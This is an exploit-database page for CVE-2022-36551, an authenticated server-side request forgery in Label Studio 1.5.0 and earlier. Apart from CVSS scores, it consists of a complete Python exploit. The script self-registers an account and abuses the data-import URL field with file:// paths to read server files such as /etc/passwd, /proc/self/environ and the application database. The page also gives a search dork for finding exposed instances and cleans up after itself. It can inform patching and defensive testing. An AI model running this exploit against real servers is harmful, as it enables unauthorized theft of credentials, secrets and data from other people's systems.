Lucene search

K
zdtRyan Smith1337DAY-ID-38351
HistoryMar 28, 2023 - 12:00 a.m.

Label Studio 1.5.0 - Authenticated Server Side Request Forgery Vulnerability

2023-03-2800:00:00
Ryan Smith
0day.today
135

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

0.006 Low

EPSS

Percentile

75.4%

# Exploit Title: Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF)
# Google Dork: intitle:"Label Studio" intext:"Sign Up" intext:"Welcome to Label Studio Community Edition"
# Date: 2022-10-03
# Exploit Author: @DeveloperNinja, [email protected]
# Vendor Homepage: https://github.com/heartexlabs/label-studio, https://labelstud.io/
# Software Link: https://github.com/heartexlabs/label-studio/releases
# Version: <=1.5.0
# CVE : CVE-2022-36551
# Docker Container: heartexlabs/label-studio

# Server Side Request Forgery (SSRF) in the Data Import module in Heartex - Label Studio Community Edition 
# versions 1.5.0 and earlier allows an authenticated user to access arbitrary files on the system. 
# Furthermore, self-registration is enabled by default in these versions of Label Studio enabling a remote 
# attacker to create a new account and then exploit the SSRF.

#
# This exploit has been tested on Label Studio 1.5.0
#

# Exploit Usage Examples (replace with your target details):
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /etc/passwd
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /proc/self/environ
# - python3 exploit.py --url http://localhost:8080/ --username "[email protected]" --password 12345678 --register --file /label-studio/data/label_studio.sqlite3 --out label_studio.sqlite3.sqlite3


import json
import argparse
import requests
import shutil                    
from urllib.parse import urljoin
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings() 

# main function for exploit
def main(url, filePath, writePath, username, password, shouldRegister):
    # check if the URL is reachable
    try:
        r = requests.get(url, verify=False)
        if r.status_code == 200:
            print("[+] URL is reachable")
        else:
            print("[!] Error: URL is not reachable, check the URL and try again")
            exit(1)

    except requests.exceptions.RequestException as e:
        print("[!] Error: URL is not reachable, check the URL and try again")
        exit(1)

    session = requests.Session()

    login(session, url, username, password, shouldRegister)
    print("[+] Logged in")
    print("[+] Creating project...")

    # Create a temp project
    projectDetails = create_project(session, url)
    print("[+] Project created, ID: {}".format(projectDetails["id"]))

    #time for the actual exploit, import a "file" to the newly created project (IE: file:///etc/passwd, or file:///proc/self/environ)
    print("[+] Attempting to fetch: {}".format(filePath))
    fetch_file(session, url, projectDetails["id"], filePath, writePath)

    print("[+] Deleting Project.. {}".format(projectDetails["id"]))
    delete_project(session, url, projectDetails["id"])
    print("[+] Project Deleted")

    print("[*] Finished executing exploit")


# login, logs the user in
def login(session, url, username, password, shouldRegister):

    # hit the main page first to get the CSRF token set
    r = session.get(url, verify=False)

    r = session.post(
        urljoin(url, "/user/login"),
        data={
            "email": username,
            "password": password,
            "csrfmiddlewaretoken": session.cookies["csrftoken"],
        },
        verify=False
    )

    if r.status_code == 200 and r.text.find("The email and password you entered") < 0:
        return
    elif r.text.find("The email and password you entered") > 0 and shouldRegister:
                
        print("[!] Account does not exist, registering...")
        r = session.post(
            urljoin(url, "/user/signup/"),
            data={
                "email": username,
                "password": password,
                "csrfmiddlewaretoken": session.cookies["csrftoken"],
                'allow_newsletters': False,
            },
        )
        if r.status_code == 302:
            # at this point the system automatically logs you in (assuming self-registration is enabled, which it is by default)
            return

    else:
        print("[!] Error: Could not login, check the credentials and try again")
        exit(1)


# create_project creates a temporary project for exploiting the SSRF
def create_project(session, url):



    r = session.post(
        urljoin(url, "/api/projects"),
        data={
            "title": "TPS Report Finder",
        },
        verify=False
    )

    if r.status_code == 200 or r.status_code == 201:
        return r.json()
    else:
        print("[!] Error: Could not create project, check your credentials / permissions")
        exit(1)

def fetch_file(session, url, projectId, filePath, writePath):

    # if scheme is empty prepend file://
    parsedFilePath = urlparse(filePath)

    if parsedFilePath.scheme == "":
        filePath = "file://" + filePath

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    url = urljoin(url, "/api/projects/{}/import".format(projectId))
    r = session.post(url,
        data={
            "url": filePath, # This is the main vulnerability, there is no restriction on the "schema" of the provided URL
        },
        headers=headers, 
        verify=False
    )

    if r.status_code == 201:
        # file found! -- first grab the file path details
        fileId = r.json()["file_upload_ids"][0]
        r = session.get(urljoin(url, "/api/import/file-upload/{}".format(fileId)), headers=headers, verify=False)
        r = session.get(urljoin(url, "/data/{}".format(r.json()["file"])), headers=headers, verify=False, stream=True)
        print("[+] File found!")

        # if user wants to write to disk, make it so
        if writePath != None:
            print("[+] Writing to {}".format(writePath))
            # write the file to disk
            with open(writePath, 'wb') as handle:
                shutil.copyfileobj(r.raw, handle)
                handle.close()
            return
        else:
            print("==========================================================")
            print(r.text)
            print("==========================================================")
            return
    else:
        print("[!] Error: Could not fetch file, it's likely the file path doesn't exist: ")
        print("\t" + r.json()["validation_errors"]["non_field_errors"][0])
        return


def delete_project(session, url, projectId):

    url = urljoin(url, "/api/projects/{}".format(projectId))
    r = session.delete(url, verify=False)
    if r.status_code == 200 or r.status_code == 204:
        return
    else:
        print( "[!] Error: Could not delete project, check your credentials / permissions")
        exit(1)

parser = argparse.ArgumentParser()

parser.add_argument("--url", required=True, help="Label Studio URL")
parser.add_argument("--file", required=True, help="Path to the file you want to fetch")
parser.add_argument("--out", required=False, help="Path to write the file.  If omitted will be written to STDOUT")
parser.add_argument("--username", required=False, help="Username for existing account (email)")
parser.add_argument("--password", required=False, help="Password for existing account")
parser.add_argument("--register", required=False, action=argparse.BooleanOptionalAction, help="Register user if it doesn't exist",
)

args = parser.parse_args()
main(args.url, args.file, args.out, args.username, args.password, args.register)

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

0.006 Low

EPSS

Percentile

75.4%